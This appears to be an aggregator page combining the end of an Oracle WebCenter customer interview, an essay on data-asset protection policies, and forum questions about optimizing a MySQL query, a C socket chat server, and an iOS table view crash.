unexpected error. The user could back up and retry the steps and things would work fine, so why didn’t work the first time?. From a UI perspective, we’d hear comments like it looked like it was built by a high school student.  Vince Casarez & Gourav Goyal, Keste Q: Did you run into any obstacles when implementing the solution?A: It's interesting some people call them "obstacles" on this project we just called them "dependencies".  There were both technical and business related dependencies that we had to work out. Mike points out the SSO dependencies and the coordination and synchronization between the teams to have a seamless login experience and a seamless end user experience.  There was also a set of dependencies on the User Acceptance testing to make sure that everyone understood the use cases for how the system would be used.  With a branching into a new market and trying to match a simple user experience as many consumer sites have today, there was always a tendency for the team members to provide their suggestions on how things could be simpler.  But with all the work up front on the user design and getting the business driving this set of experiences, this minimized the downstream suggestions that tend to distract a team.  In this case, all the work up front allowed us to enumerate the "dependencies" and keep the distractions to a minimum. Q: Was there a lot of custom work that needed to be done for this particular solution?A: The focus for this particular solution was really on the custom processes. The interesting thing is that with the data flows and the integration with applications, there are some pre-built integrations, but realistically for the process flow, we had to build those. The framework and tooling we used made things easier so we didn’t have to implement core functionality, like transitioning from screen to screen or from flow to flow. The design feature of Task Flows really helped speed the development and keep the component infrastructure in line with the dynamic processes.  Task flows and other elements like Skins are core to the infrastructure or technology stack of Oracle. This then allowed the team to center the project focus around the business flows and use cases to meet the core requirements and keep the project on time. Q: What do you think were the keys to success for rolling out WebCenter?A:  The 5 main keys to success were: 1) Sponsorship from the whole organization around this project from senior executive agreement, business owners driving functionality, and IT development alignment; 2) Upfront design planning and use case definition to clearly define the project scope and requirements; 3) Focussed development and project management aligned with the top level goals and drivers; 4) User acceptance and usability testing along the way to identify potential issues and direct resolution of the issues;  and 5) Constant prioritization of the issues for development to fix by the business.  It also helps to have great team chemistry and really smart people working on the project. If you missed the webcast, be sure to catch the replay to see a live demonstration of WebCenter in action!  Qualcomm Provides a Seamless Experience for Customers with Oracle WebCenter from Oracle WebCenter

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• General Policies and Procedures for Maintaining the Value of Data Assets

  Here is a general list for policies and procedures regarding maintaining the value of data assets. Data Backup Policies and Procedures Backups are very important when dealing with data because there is always the chance of losing data due to faulty hardware or a user activity. So the need for a strategic backup system should be mandatory for all companies. This being said, in the real world some companies that I have worked for do not really have a good data backup plan. Typically when companies tend to take this kind of approach in data backups usually the data is not really recoverable.  Unfortunately when companies do not regularly test their backup plans they get a false sense of security because they think that they are covered. However, I can tell you from personal and professional experience that a backup plan/system is never fully implemented until it is regularly tested prior to the time when it actually needs to be used. Disaster Recovery Plan Expanding on Backup Policies and Procedures, a company needs to also have a disaster recovery plan in order to protect its data in case of a catastrophic disaster.  Disaster recovery plans typically encompass how to restore all of a company’s data and infrastructure back to a restored operational status.  Most Disaster recovery plans also include time estimates on how long each step of the disaster recovery plan should take to be executed.  It is important to note that disaster recovery plans are never fully implemented until they have been tested just like backup plans. Disaster recovery plans should be tested regularly so that the business can be confident in not losing any or minimal data due to a catastrophic disaster. Firewall Policies and Content Filters One way companies can protect their data is by using a firewall to separate their internal network from the outside. Firewalls allow for enabling or disabling network access as data passes through it by applying various defined restrictions. Furthermore firewalls can also be used to prevent access from the internal network to the outside by these same factors. Common Firewall Restrictions Destination/Sender IP Address Destination/Sender Host Names Domain Names Network Ports Companies can also desire to restrict what their network user’s view on the internet through things like content filters. Content filters allow a company to track what webpages a person has accessed and can also restrict user’s access based on established rules set up in the content filter. This device and/or software can block access to domains or specific URLs based on a few factors. Common Content Filter Criteria Known malicious sites Specific Page Content Page Content Theme  Anti-Virus/Mal-ware Polices Fortunately, most companies utilize antivirus programs on all computers and servers for good reason, virus have been known to do the following: Corrupt/Invalidate Data, Destroy Data, and Steal Data. Anti-Virus applications are a great way to prevent any malicious application from being able to gain access to a company’s data.  However, anti-virus programs must be constantly updated because new viruses are always being created, and the anti-virus vendors need to distribute updates to their applications so that they can catch and remove them. Data Validation Policies and Procedures Data validation is very important to ensure that only accurate information is stored. The existence of invalid data can cause major problems when businesses attempt to use data for knowledge based decisions and for performance reporting. Data Scrubbing Policies and Procedures Data scrubbing is valuable to companies in one of two ways. The first can be used to clean data prior to being analyzed for report generation. The second is that it allows companies to remove things like personally Identifiable information from its data prior to transmit it between multiple environments or if the information is sent to an external location. An example of this can be seen with medical records in regards to HIPPA laws that prohibit the storage of specific personal and medical information. Additionally, I have professionally run in to a scenario where the Canadian government does not allow any Canadian’s personal information to be stored on a server not located in Canada. Encryption Practices The use of encryption is very valuable when a company needs to any personal information. This allows users with the appropriated access levels to view or confirm the existence or accuracy of data within a system by either decrypting the information or encrypting a piece of data and comparing it to the stored version.  Additionally, if for some unforeseen reason the data got in to the wrong hands then they would have to first decrypt the data before they could even be able to read it. Encryption just adds and additional layer of protection around data itself. Standard Normalization Practices The use of standard data normalization practices is very important when dealing with data because it can prevent allot of potential issues by eliminating the potential for unnecessary data duplication. Issues caused by data duplication include excess use of data storage, increased chance for invalidated data, and over use of data processing. Network and Database Security/Access Policies Every company has some form of network/data access policy even if they have none. These policies help secure data from being seen by inappropriate users along with preventing the data from being updated or deleted by users. In addition, without a good security policy there is a large potential for data to be corrupted by unassuming users or even stolen. Data Storage Policies Data storage polices are very important depending on how they are implemented especially when a company is trying to utilize them in conjunction with other policies like Data Backups. I have worked at companies where all network user folders are constantly backed up, and if a user wanted to ensure the existence of a piece of data in the form of a file then they had to store that file in their network folder. Conversely, I have also worked in places where when a user logs on or off of the network there entire user profile is backed up. Training Policies One of the biggest ways to prevent data loss and ensure that data will remain a company asset is through training. The practice of properly train employees on how to work with in systems that access data is crucial when trying to ensure a company’s data will remain an asset. Users need to be trained on how to manipulate a company’s data in order to perform their tasks to reduce the chances of invalidating data.

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• Mysql - help me optimize this query

  - by sandeepan-nath

  About the system: -The system has a total of 8 tables - Users - Tutor_Details (Tutors are a type of User,Tutor_Details table is linked to Users) - learning_packs, (stores packs created by tutors) - learning_packs_tag_relations, (holds tag relations meant for search) - tutors_tag_relations and tags and orders (containing purchase details of tutor's packs), order_details linked to orders and tutor_details. For a more clear idea about the tables involved please check the The tables section in the end. -A tags based search approach is being followed.Tag relations are created when new tutors register and when tutors create packs (this makes tutors and packs searcheable). For details please check the section How tags work in this system? below. Following is a simpler representation (not the actual) of the more complex query which I am trying to optimize:- I have used statements like explanation of parts in the query select SUM(DISTINCT( t.tag LIKE "%Dictatorship%" )) as key_1_total_matches, SUM(DISTINCT( t.tag LIKE "%democracy%" )) as key_2_total_matches, td., u., count(distinct(od.id_od)), if (lp.id_lp > 0) then some conditional logic on lp fields else 0 as tutor_popularity from Tutor_Details AS td JOIN Users as u on u.id_user = td.id_user LEFT JOIN Learning_Packs_Tag_Relations AS lptagrels ON td.id_tutor = lptagrels.id_tutor LEFT JOIN Learning_Packs AS lp ON lptagrels.id_lp = lp.id_lp LEFT JOIN `some other tables on lp.id_lp - let's call learning pack tables set (including Learning_Packs table)` LEFT JOIN Order_Details as od on td.id_tutor = od.id_author LEFT JOIN Orders as o on od.id_order = o.id_order LEFT JOIN Tutors_Tag_Relations as ttagrels ON td.id_tutor = ttagrels.id_tutor JOIN Tags as t on (t.id_tag = ttagrels.id_tag) OR (t.id_tag = lptagrels.id_tag) where some condition on Users table's fields AND CASE WHEN ((t.id_tag = lptagrels.id_tag) AND (lp.id_lp 0)) THEN `some conditions on learning pack tables set` ELSE 1 END AND CASE WHEN ((t.id_tag = wtagrels.id_tag) AND (wc.id_wc 0)) THEN `some conditions on webclasses tables set` ELSE 1 END AND CASE WHEN (od.id_od0) THEN od.id_author = td.id_tutor and some conditions on Orders table's fields ELSE 1 END AND ( t.tag LIKE "%Dictatorship%" OR t.tag LIKE "%democracy%") group by td.id_tutor HAVING key_1_total_matches = 1 AND key_2_total_matches = 1 order by tutor_popularity desc, u.surname asc, u.name asc limit 0,20 ===================================================================== What does the above query do? Does AND logic search on the search keywords (2 in this example - "Democracy" and "Dictatorship"). Returns only those tutors for which both the keywords are present in the union of the two sets - tutors details and details of all the packs created by a tutor. To make things clear - Suppose a Tutor name "Sandeepan Nath" has created a pack "My first pack", then:- Searching "Sandeepan Nath" returns Sandeepan Nath. Searching "Sandeepan first" returns Sandeepan Nath. Searching "Sandeepan second" does not return Sandeepan Nath. ====================================================================================== The problem The results returned by the above query are correct (AND logic working as per expectation), but the time taken by the query on heavily loaded databases is like 25 seconds as against normal query timings of the order of 0.005 - 0.0002 seconds, which makes it totally unusable. It is possible that some of the delay is being caused because all the possible fields have not yet been indexed, but I would appreciate a better query as a solution, optimized as much as possible, displaying the same results ========================================================================================== How tags work in this system? When a tutor registers, tags are entered and tag relations are created with respect to tutor's details like name, surname etc. When a Tutors create packs, again tags are entered and tag relations are created with respect to pack's details like pack name, description etc. tag relations for tutors stored in tutors_tag_relations and those for packs stored in learning_packs_tag_relations. All individual tags are stored in tags table. ==================================================================== The tables Most of the following tables contain many other fields which I have omitted here. CREATE TABLE IF NOT EXISTS users ( id_user int(10) unsigned NOT NULL AUTO_INCREMENT, name varchar(100) NOT NULL DEFAULT '', surname varchar(155) NOT NULL DEFAULT '', PRIMARY KEY (id_user) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=636 ; CREATE TABLE IF NOT EXISTS tutor_details ( id_tutor int(10) NOT NULL AUTO_INCREMENT, id_user int(10) NOT NULL DEFAULT '0', PRIMARY KEY (id_tutor), KEY Users_FKIndex1 (id_user) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=51 ; CREATE TABLE IF NOT EXISTS orders ( id_order int(10) unsigned NOT NULL AUTO_INCREMENT, PRIMARY KEY (id_order), KEY Orders_FKIndex1 (id_user), ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=275 ; ALTER TABLE orders ADD CONSTRAINT Orders_ibfk_1 FOREIGN KEY (id_user) REFERENCES users (id_user) ON DELETE NO ACTION ON UPDATE NO ACTION; CREATE TABLE IF NOT EXISTS order_details ( id_od int(10) unsigned NOT NULL AUTO_INCREMENT, id_order int(10) unsigned NOT NULL DEFAULT '0', id_author int(10) NOT NULL DEFAULT '0', PRIMARY KEY (id_od), KEY Order_Details_FKIndex1 (id_order) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=284 ; ALTER TABLE order_details ADD CONSTRAINT Order_Details_ibfk_1 FOREIGN KEY (id_order) REFERENCES orders (id_order) ON DELETE NO ACTION ON UPDATE NO ACTION; CREATE TABLE IF NOT EXISTS learning_packs ( id_lp int(10) unsigned NOT NULL AUTO_INCREMENT, id_author int(10) unsigned NOT NULL DEFAULT '0', PRIMARY KEY (id_lp), KEY Learning_Packs_FKIndex2 (id_author), KEY id_lp (id_lp) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=23 ; CREATE TABLE IF NOT EXISTS tags ( id_tag int(10) unsigned NOT NULL AUTO_INCREMENT, tag varchar(255) DEFAULT NULL, PRIMARY KEY (id_tag), UNIQUE KEY tag (tag), KEY id_tag (id_tag), KEY tag_2 (tag), KEY tag_3 (tag) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3419 ; CREATE TABLE IF NOT EXISTS tutors_tag_relations ( id_tag int(10) unsigned NOT NULL DEFAULT '0', id_tutor int(10) DEFAULT NULL, KEY Tutors_Tag_Relations (id_tag), KEY id_tutor (id_tutor), KEY id_tag (id_tag) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; ALTER TABLE tutors_tag_relations ADD CONSTRAINT Tutors_Tag_Relations_ibfk_1 FOREIGN KEY (id_tag) REFERENCES tags (id_tag) ON DELETE NO ACTION ON UPDATE NO ACTION; CREATE TABLE IF NOT EXISTS learning_packs_tag_relations ( id_tag int(10) unsigned NOT NULL DEFAULT '0', id_tutor int(10) DEFAULT NULL, id_lp int(10) unsigned DEFAULT NULL, KEY Learning_Packs_Tag_Relations_FKIndex1 (id_tag), KEY id_lp (id_lp), KEY id_tag (id_tag) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; ALTER TABLE learning_packs_tag_relations ADD CONSTRAINT Learning_Packs_Tag_Relations_ibfk_1 FOREIGN KEY (id_tag) REFERENCES tags (id_tag) ON DELETE NO ACTION ON UPDATE NO ACTION; =================================================================================== Following is the exact query (this includes classes also - tutors can create classes and search terms are matched with classes created by tutors):- select count(distinct(od.id_od)) as tutor_popularity, CASE WHEN (IF((wc.id_wc 0), ( wc.wc_api_status = 1 AND wc.wc_type = 0 AND wc.class_date '2010-06-01 22:00:56' AND wccp.status = 1 AND (wccp.country_code='IE' or wccp.country_code IN ('INT'))), 0)) THEN 1 ELSE 0 END as 'classes_published', CASE WHEN (IF((lp.id_lp 0), (lp.id_status = 1 AND lp.published = 1 AND lpcp.status = 1 AND (lpcp.country_code='IE' or lpcp.country_code IN ('INT'))),0)) THEN 1 ELSE 0 END as 'packs_published', td . * , u . * from Tutor_Details AS td JOIN Users as u on u.id_user = td.id_user LEFT JOIN Learning_Packs_Tag_Relations AS lptagrels ON td.id_tutor = lptagrels.id_tutor LEFT JOIN Learning_Packs AS lp ON lptagrels.id_lp = lp.id_lp LEFT JOIN Learning_Packs_Categories AS lpc ON lpc.id_lp_cat = lp.id_lp_cat LEFT JOIN Learning_Packs_Categories AS lpcp ON lpcp.id_lp_cat = lpc.id_parent LEFT JOIN Learning_Pack_Content as lpct on (lp.id_lp = lpct.id_lp) LEFT JOIN Webclasses_Tag_Relations AS wtagrels ON td.id_tutor = wtagrels.id_tutor LEFT JOIN WebClasses AS wc ON wtagrels.id_wc = wc.id_wc LEFT JOIN Learning_Packs_Categories AS wcc ON wcc.id_lp_cat = wc.id_wp_cat LEFT JOIN Learning_Packs_Categories AS wccp ON wccp.id_lp_cat = wcc.id_parent LEFT JOIN Order_Details as od on td.id_tutor = od.id_author LEFT JOIN Orders as o on od.id_order = o.id_order LEFT JOIN Tutors_Tag_Relations as ttagrels ON td.id_tutor = ttagrels.id_tutor JOIN Tags as t on (t.id_tag = ttagrels.id_tag) OR (t.id_tag = lptagrels.id_tag) OR (t.id_tag = wtagrels.id_tag) where (u.country='IE' or u.country IN ('INT')) AND CASE WHEN ((t.id_tag = lptagrels.id_tag) AND (lp.id_lp 0)) THEN lp.id_status = 1 AND lp.published = 1 AND lpcp.status = 1 AND (lpcp.country_code='IE' or lpcp.country_code IN ('INT')) ELSE 1 END AND CASE WHEN ((t.id_tag = wtagrels.id_tag) AND (wc.id_wc 0)) THEN wc.wc_api_status = 1 AND wc.wc_type = 0 AND wc.class_date '2010-06-01 22:00:56' AND wccp.status = 1 AND (wccp.country_code='IE' or wccp.country_code IN ('INT')) ELSE 1 END AND CASE WHEN (od.id_od0) THEN od.id_author = td.id_tutor and o.order_status = 'paid' and CASE WHEN (od.id_wc 0) THEN od.can_attend_class=1 ELSE 1 END ELSE 1 END AND 1 group by td.id_tutor order by tutor_popularity desc, u.surname asc, u.name asc limit 0,20 Please note - The provided database structure does not show all the fields and tables as in this query

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• C sockets, chat server and client, problem echoing back.

  - by wretrOvian

  Hi This is my chat server : #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <string.h> #define LISTEN_Q 20 #define MSG_SIZE 1024 struct userlist { int sockfd; struct sockaddr addr; struct userlist *next; }; int main(int argc, char *argv[]) { // declare. int listFD, newFD, fdmax, i, j, bytesrecvd; char msg[MSG_SIZE], ipv4[INET_ADDRSTRLEN]; struct addrinfo hints, *srvrAI; struct sockaddr_storage newAddr; struct userlist *users, *uptr, *utemp; socklen_t newAddrLen; fd_set master_set, read_set; // clear sets FD_ZERO(&master_set); FD_ZERO(&read_set); // create a user list users = (struct userlist *)malloc(sizeof(struct userlist)); users->sockfd = -1; //users->addr = NULL; users->next = NULL; // clear hints memset(&hints, 0, sizeof hints); // prep hints hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // get srver info if(getaddrinfo("localhost", argv[1], &hints, &srvrAI) != 0) { perror("* ERROR | getaddrinfo()\n"); exit(1); } // get a socket if((listFD = socket(srvrAI->ai_family, srvrAI->ai_socktype, srvrAI->ai_protocol)) == -1) { perror("* ERROR | socket()\n"); exit(1); } // bind socket bind(listFD, srvrAI->ai_addr, srvrAI->ai_addrlen); // listen on socket if(listen(listFD, LISTEN_Q) == -1) { perror("* ERROR | listen()\n"); exit(1); } // add listfd to master_set FD_SET(listFD, &master_set); // initialize fdmax fdmax = listFD; while(1) { // equate read_set = master_set; // run select if(select(fdmax+1, &read_set, NULL, NULL, NULL) == -1) { perror("* ERROR | select()\n"); exit(1); } // query all sockets for(i = 0; i <= fdmax; i++) { if(FD_ISSET(i, &read_set)) { // found active sockfd if(i == listFD) { // new connection // accept newAddrLen = sizeof newAddr; if((newFD = accept(listFD, (struct sockaddr *)&newAddr, &newAddrLen)) == -1) { perror("* ERROR | select()\n"); exit(1); } // resolve ip if(inet_ntop(AF_INET, &(((struct sockaddr_in *)&newAddr)->sin_addr), ipv4, INET_ADDRSTRLEN) == -1) { perror("* ERROR | inet_ntop()"); exit(1); } fprintf(stdout, "* Client Connected | %s\n", ipv4); // add to master list FD_SET(newFD, &master_set); // create new userlist component utemp = (struct userlist*)malloc(sizeof(struct userlist)); utemp->next = NULL; utemp->sockfd = newFD; utemp->addr = *((struct sockaddr *)&newAddr); // iterate to last node for(uptr = users; uptr->next != NULL; uptr = uptr->next) { } // add uptr->next = utemp; // update fdmax if(newFD > fdmax) fdmax = newFD; } else { // existing sockfd transmitting data // read if((bytesrecvd = recv(i, msg, MSG_SIZE, 0)) == -1) { perror("* ERROR | recv()\n"); exit(1); } msg[bytesrecvd] = '\0'; // find out who sent? for(uptr = users; uptr->next != NULL; uptr = uptr->next) { if(i == uptr->sockfd) break; } // resolve ip if(inet_ntop(AF_INET, &(((struct sockaddr_in *)&(uptr->addr))->sin_addr), ipv4, INET_ADDRSTRLEN) == -1) { perror("* ERROR | inet_ntop()"); exit(1); } // print fprintf(stdout, "%s\n", msg); // send to all for(j = 0; j <= fdmax; j++) { if(FD_ISSET(j, &master_set)) { if(send(j, msg, strlen(msg), 0) == -1) perror("* ERROR | send()"); } } } // handle read from client } // end select result handle } // end looping fds } // end while return 0; } This is my client: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <string.h> #define MSG_SIZE 1024 int main(int argc, char *argv[]) { // declare. int newFD, bytesrecvd, fdmax; char msg[MSG_SIZE]; fd_set master_set, read_set; struct addrinfo hints, *srvrAI; // clear sets FD_ZERO(&master_set); FD_ZERO(&read_set); // clear hints memset(&hints, 0, sizeof hints); // prep hints hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // get srver info if(getaddrinfo(argv[1], argv[2], &hints, &srvrAI) != 0) { perror("* ERROR | getaddrinfo()\n"); exit(1); } // get a socket if((newFD = socket(srvrAI->ai_family, srvrAI->ai_socktype, srvrAI->ai_protocol)) == -1) { perror("* ERROR | socket()\n"); exit(1); } // connect to server if(connect(newFD, srvrAI->ai_addr, srvrAI->ai_addrlen) == -1) { perror("* ERROR | connect()\n"); exit(1); } // add to master, and add keyboard FD_SET(newFD, &master_set); FD_SET(STDIN_FILENO, &master_set); // initialize fdmax if(newFD > STDIN_FILENO) fdmax = newFD; else fdmax = STDIN_FILENO; while(1) { // equate read_set = master_set; if(select(fdmax+1, &read_set, NULL, NULL, NULL) == -1) { perror("* ERROR | select()"); exit(1); } // check server if(FD_ISSET(newFD, &read_set)) { // read data if((bytesrecvd = recv(newFD, msg, MSG_SIZE, 0)) < 0 ) { perror("* ERROR | recv()"); exit(1); } msg[bytesrecvd] = '\0'; // print fprintf(stdout, "%s\n", msg); } // check keyboard if(FD_ISSET(STDIN_FILENO, &read_set)) { // read data from stdin if((bytesrecvd = read(STDIN_FILENO, msg, MSG_SIZE)) < 0) { perror("* ERROR | read()"); exit(1); } msg[bytesrecvd] = '\0'; // send if((send(newFD, msg, bytesrecvd, 0)) == -1) { perror("* ERROR | send()"); exit(1); } } } return 0; } The problem is with the part where the server recv()s data from an FD, then tries echoing back to all [send() ]; it just dies, w/o errors, and my client is left looping :(

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• iOS TableView crash loading different data

  - by jollyr0ger

  Hi to all! I'm developing a simple iOS app where there is a table view with some categories (CategoryViewController). When clicking one of this category the view will be passed to a RecipesListController with another table view with recipes. This recipes are loaded from different plist based on the category clicked. The first time I click on a category, the recipes list is loaded and shown correctely. If i back to the category list and click any of the category (also the same again) the app crash. And I don't know how. The viewWillAppear is ececuted correctely but after crash. Can you help me? If you need the entire project I can zip it for you. Ok? Here is the code of the CategoryViewController.h #import <Foundation/Foundation.h> #import "RecipeRowViewController.h" @class RecipesListController; @interface CategoryViewController : UITableViewController { NSArray *recipeCategories; RecipesListController *childController; } @property (nonatomic, retain) NSArray *recipeCategories; @end The CategoryViewControoler.m #import "CategoryViewCotroller.h" #import "NavAppDelegate.h" #import "RecipesListController.h" @implementation CategoryViewController @synthesize recipeCategories; - (void)viewDidLoad { // Create the categories NSArray *array = [[NSArray alloc] initWithObjects:@"Antipasti", @"Focacce", @"Primi", @"Secondi", @"Contorni", @"Dolci", nil]; self.recipeCategories = array; [array release]; // Set background image UIImageView *bgImg = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"sfondo_app.png"]]; [self.tableView setBackgroundView:bgImg]; [bgImg release]; [self.tableView reloadData]; [super viewDidLoad]; } - (void)viewDidUnload { self.recipeCategories = nil; // [childController release]; [super viewDidUnload]; } - (void)dealloc { [recipeCategories release]; // [childController release]; [super dealloc]; } #pragma mark - #pragma mark Table data source methods - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { return [recipeCategories count]; } - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellId = @"RecipesCategoriesCellId"; // Try to reuse a cell or create a new one UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellId]; if (cell == nil) { cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellId] autorelease]; } // Get the right value and assign to the cell NSUInteger row = [indexPath row]; NSString *rowString = [recipeCategories objectAtIndex:row]; cell.textLabel.text = rowString; cell.accessoryType = UITableViewCellAccessoryDisclosureIndicator; [rowString release]; return cell; } #pragma mark - #pragma mark Table view delegate methods - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if (childController == nil) { childController = [[RecipesListController alloc] initWithStyle:UITableViewStyleGrouped]; } childController.title = @"Ricette"; childController.category = [indexPath row]; [self.navigationController pushViewController:childController animated:YES]; } @end The RecipesListController.h #import <Foundation/Foundation.h> #import "RecipeRowViewController.h" #define kRecipeArrayLink 0 #define kRecipeArrayDifficulty 1 #define kRecipeArrayFoodType 2 #define kRecipeAntipasti 0 #define kRecipeFocacce 1 #define kRecipePrimi 2 #define kRecipeSecondi 3 #define kRecipeContorni 4 #define kRecipeDolci 5 @class DisclosureDetailController; @interface RecipesListController : UITableViewController { NSInteger category; NSDictionary *recipesArray; NSArray *recipesNames; NSArray *recipesLinks; DisclosureDetailController *childController; } @property (nonatomic) NSInteger category; @property (nonatomic, retain) NSDictionary *recipesArray; @property (nonatomic, retain) NSArray *recipesNames; @property (nonatomic, retain) NSArray *recipesLinks; @end The RecipesListcontroller.m #import "RecipesListController.h" #import "NavAppDelegate.h" #import "DisclosureDetailController.h" @implementation RecipesListController @synthesize category, recipesArray, recipesNames, recipesLinks; - (void)viewDidLoad { // Set background image UIImageView *bgImg = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"sfondo_app.png"]]; [self.tableView setBackgroundView:bgImg]; [bgImg release]; [self.tableView reloadData]; [super viewDidLoad]; } - (void)viewWillAppear:(BOOL)animated { if (self.recipesArray != nil) { // Release the arrays [self.recipesArray release]; [self.recipesNames release]; } // Load the dictionary NSString *path = nil; // Load a different dictionary, based on the category if (self.category == kRecipeAntipasti) { path = [[NSBundle mainBundle] pathForResource:@"recipes_antipasti" ofType:@"plist"]; } else if (self.category == kRecipeFocacce) { path = [[NSBundle mainBundle] pathForResource:@"recipes_focacce" ofType:@"plist"]; } else if (self.category == kRecipePrimi) { path = [[NSBundle mainBundle] pathForResource:@"recipes_primi" ofType:@"plist"]; } else if (self.category == kRecipeSecondi) { path = [[NSBundle mainBundle] pathForResource:@"recipes_secondi" ofType:@"plist"]; } else if (self.category == kRecipeContorni) { path = [[NSBundle mainBundle] pathForResource:@"recipes_contorni" ofType:@"plist"]; } else if (self.category == kRecipeDolci) { path = [[NSBundle mainBundle] pathForResource:@"recipes_dolci" ofType:@"plist"]; } NSDictionary *dict = [[NSDictionary alloc] initWithContentsOfFile:path]; self.recipesArray = dict; [dict release]; // Save recipes names NSArray *array = [[recipesArray allKeys] sortedArrayUsingSelector: @selector(compare:)]; self.recipesNames = array; [self.tableView reloadData]; [super viewWillAppear:animated]; } - (void)viewDidUnload { self.recipesArray = nil; self.recipesNames = nil; self.recipesLinks = nil; // [childController release]; [super viewDidUnload]; } - (void)dealloc { [recipesArray release]; [recipesNames release]; [recipesLinks release]; // [childController release]; [super dealloc]; } #pragma mark - #pragma mark Table data source methods - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { return [recipesNames count]; } - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *RecipesListCellId = @"RecipesListCellId"; // Try to reuse a cell or create a new one UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:RecipesListCellId]; if (cell == nil) { cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:RecipesListCellId] autorelease]; } // Get the right value and assign to the cell NSUInteger row = [indexPath row]; NSString *rowString = [recipesNames objectAtIndex:row]; cell.textLabel.text = rowString; cell.accessoryType = UITableViewCellAccessoryDisclosureIndicator; [rowString release]; return cell; } #pragma mark - #pragma mark Table view delegate methods - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if (childController == nil) { childController = [[DisclosureDetailController alloc] initWithNibName:@"DisclosureDetail" bundle:nil]; } childController.title = @"Dettagli"; NSUInteger row = [indexPath row]; childController.recipeName = [recipesNames objectAtIndex:row]; NSArray *recipeRawArray = [recipesArray objectForKey:childController.recipeName]; childController.recipeLink = [recipeRawArray objectAtIndex:kRecipeArrayLink]; childController.recipeDifficulty = [recipeRawArray objectAtIndex:kRecipeArrayDifficulty]; [self.navigationController pushViewController:childController animated:YES]; } @end This is the crash log Program received signal: “EXC_BAD_ACCESS”. (gdb) bt #0 0x00f0da63 in objc_msgSend () #1 0x04b27ca0 in ?? () #2 0x00002665 in -[RecipesListController viewWillAppear:] (self=0x4b38a00, _cmd=0x6d81a2, animated=1 '\001') at /Users/claudiocanino/Documents/iOS/CottoMangiato/Classes/RecipesListController.m:67 #3 0x00370c9a in -[UINavigationController _startTransition:fromViewController:toViewController:] () #4 0x0036b606 in -[UINavigationController _startDeferredTransitionIfNeeded] () #5 0x0037283e in -[UINavigationController pushViewController:transition:forceImmediate:] () #6 0x04f49549 in -[UINavigationControllerAccessibility(SafeCategory) pushViewController:transition:forceImmediate:] () #7 0x0036b4a0 in -[UINavigationController pushViewController:animated:] () #8 0x00003919 in -[CategoryViewController tableView:didSelectRowAtIndexPath:] (self=0x4b27ca0, _cmd=0x6d19e3, tableView=0x500c200, indexPath=0x4b2d650) at /Users/claudiocanino/Documents/iOS/CottoMangiato/Classes/CategoryViewCotroller.m:104 #9 0x0032a794 in -[UITableView _selectRowAtIndexPath:animated:scrollPosition:notifyDelegate:] () #10 0x00320d50 in -[UITableView _userSelectRowAtPendingSelectionIndexPath:] () #11 0x000337f6 in __NSFireDelayedPerform () #12 0x00d8cfe3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ () #13 0x00d8e594 in __CFRunLoopDoTimer () #14 0x00ceacc9 in __CFRunLoopRun () #15 0x00cea240 in CFRunLoopRunSpecific () #16 0x00cea161 in CFRunLoopRunInMode () #17 0x016e0268 in GSEventRunModal () #18 0x016e032d in GSEventRun () #19 0x002c342e in UIApplicationMain () #20 0x00001c08 in main (argc=1, argv=0xbfffef58) at /Users/claudiocanino/Documents/iOS/CottoMangiato/main.m:15 Another bt log: (gdb) bt #0 0x00cd76a1 in __CFBasicHashDeallocate () #1 0x00cc2bcb in _CFRelease () #2 0x00002dd6 in -[RecipesListController setRecipesArray:] (self=0x6834d50, _cmd=0x4293, _value=0x4e3bc70) at /Users/claudiocanino/Documents/iOS/CottoMangiato/Classes/RecipesListController.m:16 #3 0x00002665 in -[RecipesListController viewWillAppear:] (self=0x6834d50, _cmd=0x6d81a2, animated=1 '\001') at /Users/claudiocanino/Documents/iOS/CottoMangiato/Classes/RecipesListController.m:67 #4 0x00370c9a in -[UINavigationController _startTransition:fromViewController:toViewController:] () #5 0x0036b606 in -[UINavigationController _startDeferredTransitionIfNeeded] () #6 0x0037283e in -[UINavigationController pushViewController:transition:forceImmediate:] () #7 0x091ac549 in -[UINavigationControllerAccessibility(SafeCategory) pushViewController:transition:forceImmediate:] () #8 0x0036b4a0 in -[UINavigationController pushViewController:animated:] () #9 0x00003919 in -[CategoryViewController tableView:didSelectRowAtIndexPath:] (self=0x4b12970, _cmd=0x6d19e3, tableView=0x5014400, indexPath=0x4b2bd00) at /Users/claudiocanino/Documents/iOS/CottoMangiato/Classes/CategoryViewCotroller.m:104 #10 0x0032a794 in -[UITableView _selectRowAtIndexPath:animated:scrollPosition:notifyDelegate:] () #11 0x00320d50 in -[UITableView _userSelectRowAtPendingSelectionIndexPath:] () #12 0x000337f6 in 